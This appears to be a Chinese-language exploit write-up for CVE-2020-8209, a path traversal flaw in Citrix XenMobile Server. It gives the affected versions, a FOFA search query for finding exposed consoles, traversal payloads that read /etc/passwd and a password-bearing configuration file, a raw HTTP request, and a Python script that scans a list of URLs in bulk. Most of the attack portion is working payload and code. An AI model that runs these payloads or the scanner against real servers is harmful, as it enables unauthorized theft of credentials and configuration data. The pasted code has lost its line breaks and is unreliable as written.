
XenMobile是Citrix开发的企业移动性管理软件,该产品允许企业管理员工的移动设备和移动应用程序,该软件的目的是通过允许员工安全地在企业拥有的和个人移动设备及应用程序上工作来提高生产率。CVE-2020-8209,路径遍历漏洞。此漏洞允许未经授权的用户读取任意文件,包括包含密码的 配置文件 。(该软件国外居多,国内基本很少)
RP2之前的Citrix XenMobile Server 10.12,RP4之前的Citrix XenMobile Server 10.11,RP6之前的Citrix XenMobile Server 10.10和Citrix XenMobile Server 10.9 RP5之前的访问控制不当,从而导致能够读取任意文件。
app="XenMobile-控制台"

POC:
/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd/jsp/help-sb-download.jsp?sbFileName=../../../opt/sas/sw/config/sftu.properties数据包POC:
GET /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd HTTP/1.1Host: xxx.xxx.xxx.xxxConnection: closeUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Referer: https://fofa.so/result?qbase64=YXBwPSJYZW5Nb2JpbGUt5o6n5Yi25Y%2BwIiAmJiBjb3VudHJ5PSJERSI%3DAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9

#!/usr/bin/env python# coding:utf-8 import requests,sys,coloramafrom colorama import *init(autoreset=True) def XenMobile(): headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"} payload= '/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd' poc=urls+payload try: requests.packages.urllib3.disable_warnings()#解决InsecureRequestWarning警告 response=requests.get(poc,headers=headers,timeout=10,verify=False) if response.status_code==200 and "root" in response.content: print(u'\033[1;31;40m[+]{} 存在Citrix XenMobile 目录遍历漏洞'.format(urls)) else: print('[-]{} None'.format(urls)) except: print(u'{} 请求超时'.format(urls)) if __name__ == '__main__': print (banner) if len(sys.argv)!=2: print('Example:python CVE-2020-8209-Multiple.py url.txt') else: file = open(sys.argv[1]) for url in file.readlines(): urls=url.strip() XenMobile() print ('Check Over')官方补丁删除了/opt/sas/ sw /tomcat/inst1/webapps/ROOT/jsp/help-sb-download.jsp
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